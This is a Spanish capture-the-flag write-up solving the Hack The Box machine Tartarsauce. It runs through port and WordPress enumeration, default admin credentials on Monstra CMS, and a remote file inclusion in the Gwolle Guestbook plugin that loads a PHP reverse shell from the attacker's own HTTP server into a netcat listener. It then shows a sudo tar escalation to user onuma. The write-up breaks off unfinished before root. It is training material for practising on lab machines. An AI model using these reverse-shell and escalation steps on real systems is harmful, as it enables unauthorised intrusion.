En este writeup vamos a ver cómo resolver la máquina Tartarsauce de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:
$ ping -c 1 10.10.10.88
El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.
Vamos a hacer un escaneo de puertos:
$ nmap -p- -A -Pn -sC -sV -n -v 10.10.10.88
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Landing Page
NSE: Script Post-scanning.
Solo tiene el puerto 80 abierto. Si nos vamos al navegador vemos lo siguiente:
También ha descubierto un robots.txt que si nos vamos a http://10.10.10.88/robots.txt vemos las siguientes entradas:
SI inspeccionamos el código fuente de la web al final del todo vemos el siguiente comentario:
<!--Carry on, nothing to see here :D-->
En una primera instancia, dirbuster nos saca la siguiente estructura:
Si analizamos también con dirb podemos encontrar lo siguiente:
http://10.10.10.88/webservices/wp que se corresponde con una instalación típica de Wordpress.
$ dirb http://10.10.10.88/webservices/
Al revisar el robots.txt vemos que hay un webservice de monstra. Si entramos encontramos la siguiente web:
Si intentamos registrarnos a través de http://10.10.10.88/webservices/monstra-3.0.4/users/registration no podremos. No existe ese recurso.
Lo único que tenemos disponible es: http://10.10.10.88/webservices/monstra-3.0.4/admin/
Si probamos con las siguientes credenciales podremos entrar:
- usuario: admin
- password: admin
Si buscamos en searchsploit por monstra vemos que hay varios exploits disponibles para este CMS pero en concreto utilizaremos el siguiente:
Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote Code Execution
| php/webapps/43348.txt
Esta vulnerabilidad consiste en un RFI tal y como vemos a continuación
Pero por alguna razón es explotable así que vamos a revisar el directorio de Wordpress.
Si vamos a http://10.10.10.88/webservices/wp/ vemos lo siguiente:
Vamos a utilizar wpscan para analizarlo:
$ wpscan -v --url=http://10.10.10.88/webservices/wp/ --force -e ap --plugins-detection aggressive --rua --disable-tls-checks
Hemos encontrado cosas interesantes como que se trata de un Wordpress 4.9.4 y que tiene los siguientes plugins:
[+] akismet
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/
| Last Updated: 2021-01-06T16:57:00.000Z
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
| [!] The version is out of date, the latest version is 4.1.8
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/, status: 200
|
| Version: 4.0.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
[+] brute-force-login-protection
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/
| Latest Version: 1.5.3 (up to date)
| Last Updated: 2017-06-29T10:39:00.000Z
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/, status: 403
|
| Version: 1.5.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
[+] gwolle-gb
| Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/
| Last Updated: 2020-11-26T13:09:00.000Z
| Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
| [!] The version is out of date, the latest version is 4.0.8
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
|
| Version: 2.3.10 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
- akismet 4.0.3
- brute-force-login-protection 1.5.3
- gwolle-gb 2.3.10
Capturar User Flag
Para el plugin gwolle-gb tenemos el siguiente exploit:
WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion | php/webapps/38861.txt
Y se trata de inyectar en el parámetro abspath de la ruta /wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath= un fichero php malicioso.
Para ello creamos en nuestra máquina un php invocando a una reverse shell y lanzamos un SimpleHTTPServer con python.
Nos descargamos esta web shell https://raw.githubusercontent.com/danielmiessler/SecLists/master/Web-Shells/laudanum-0.8/php/php-reverse-shell.php cambiamos la IP y el puerto y la renombramos por wp-load.php
Levantamos el servidor con:
$ python -m SimpleHTTPServer 8000
Y en otra pestaña un netcat:
$ nc -nlvp 4242
Nos vamos al navegador web y accedemos a esta ruta:
La vulnerabilidad tratará de descargar por defecto un fichero llamado wp-login.php por eso no es necesario añadirlo al final de abspath.
Automáticamente tendremos conexión en la reverse shell con el usuario www-data.
$ nc -nlvp 4242 1 ⨯
listening on [any] 4242 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.88] 42890
Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP Thu Feb 1 12:05:23 UTC 2018 i686 athlon i686 GNU/Linux
06:57:01 up 57 min, 0 users, load average: 0.00, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ pwd
/
Podemos invocar TTY con:
python 'import pty;pty.spawn("/bin/bash")'
Si con este usuario hacemos un sudo -l nos encontramos lo siguiente:
www-data@TartarSauce:/$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar
Vemos que www-data puede ejecutar /bin/tar como onuma sin tener que poner la contraseña.
$ sudo -u onuma /bin/tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
$ id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
Ya podemos ir a /home/onuma y leer el contenido de user.txt para obtener la user flag.
Capturar la Root Flag
Si nos vamos al directorio /var/backups encontramos dos ficheros interesantes:
-rw-r--r-- 1 root root 219 Jan 11 06:59 onuma_backup_test.txt
-rw-r--r-- 1 onuma onuma 11511681 Jan 11 06:59 onuma-www-dev.bak
Al abrir el fichero onuma_backup_test.txt vemos que lo ha creado un programa que se llama backuperer.
$ which backuperer
/usr/sbin/backuperer
$ locate backuperer
/etc/systemd/system/multi-user.target.wants/backuperer.timer
/lib/systemd/system/backuperer.service
/lib/systemd/system/backuperer.timer
/usr/sbin/backuperer
$ cat /etc/systemd/system/multi-user.target.wants/backuperer.timer
[Unit]
Description=Runs backuperer every 5 mins
[Timer]
# Time to wait after booting before we run first time
OnBootSec=5min
# Time between running each consecutive time
OnUnitActiveSec=5min
Unit=backuperer.service
[Install]
WantedBy=multi-user.target
$ cat /lib/systemd/system/backuperer.service
[Unit]
Description=Backuperer
[Service]
ExecStart=/usr/sbin/backuperer
Si hacemos un file del fichero /usr/sbin/backuperer veremos que se trata de un script en bash
$ file /usr/sbin/backuperer
/usr/sbin/backuperer: Bourne-Again shell script, UTF-8 Unicode text executable
Revisar capturar ROOT Flag porque hay diversas formas